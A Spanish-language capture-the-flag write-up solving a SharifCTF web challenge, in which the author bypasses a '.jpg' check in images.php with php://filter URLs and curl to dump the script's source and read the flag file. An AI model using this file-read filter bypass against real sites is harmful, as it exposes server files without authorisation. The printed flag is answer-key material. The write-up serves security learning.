Ohai!


Este finde se celebró el SharifCTF, pero como ibamos un poco saturados por culpa de los CTFs indios y además este no puntuaba en CTFtime, no nos dedicamos a él. Pero sí me dio tiempo a echarle un vistazo a dos retos web.


Aquí os dejo mis soluciones...




Nos dan el link de una web que es un blog. Echando un vistazo al código fuente vemos que todos los links de los articulos son externos, así que por ahí nada.


Tenemos dos inputs:

  1. El buscador:
    http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/search.php?query=asdf
    (que no hay forma de que busque nada ni de que rompa..)

  2. Hay una imagen que en vez de poner el path en el src, lo hace a traves de:
    http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=files/images/robot.jpg

Analizando ese path, vemos que tenemos directory listing (http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/files/) donde encontramos el resto de las imagenes:

http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/files/images/

Y ademas un directorio bastante curioso pero que nos da Forbidden:

http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/files/flag/

Probando a cargar las otras imagenes, comprobamos que el script de images.php solo acepta archivos .jpg (si es diferente dice que no existe), así que habra que saltarse el filtro.


La siguiente comprobación es ver si soporta php wrappers:

http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=php://filter/resource=files/images/robot.jpg

Wow, la imagen se carga!! Vamos a ver que pasa si intentamos engañar al filtro..

http://ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=php://filter/resource=files/images/robot.jpg/resource=images.php

"No se puede mostrar la imagen porque contiene errores" Eso es bueno!! Probemos con curl:

$ curl ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=php://filter/resource=files/images/robot.jpg/resource=images.php

<?php
//if (extract_teamname_from_cookie("technews") === false)
//    exit;

if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg') !== false))//is file type is jpg?
{
#  echo "$_GET["id"]";
  
  header('Cache-control: private');

        preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"]), $matches);
//die ("<pre>" . trim($_GET["id"]));
//die ("<pre>///".print_r($matches, true)."///");
        if (isset($matches[1]))
                $_GET["id"] = $matches[1];

        if (file_exists("./" . $_GET["id"]) == false)
                die("file not found");
        if (substr(realpath("./" . $_GET["id"]), 0, 24) != "/var/www/technology-news")
                die(".");

        header('Content-Type: image/jpg');
        header('Content-Length: '.filesize($_GET["id"]));
        header('Content-Disposition: filename='.$_GET["id"]);

        $img_data = file_get_contents($_GET["id"]);
        $img_data = sharifctf_internal_put_it($img_data, "technews");
        echo $img_data;
  
}
else //file type is not jpg! show the error message
{
        echo "file not found";
}
?>

Finalmente:

$ curl ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=php://filter/resource=files/images/robot.jpg/resource=files/flag/flag.txt

sharifctf{4580656baab0a261e39629147e76c904}


Bye!!

xassiz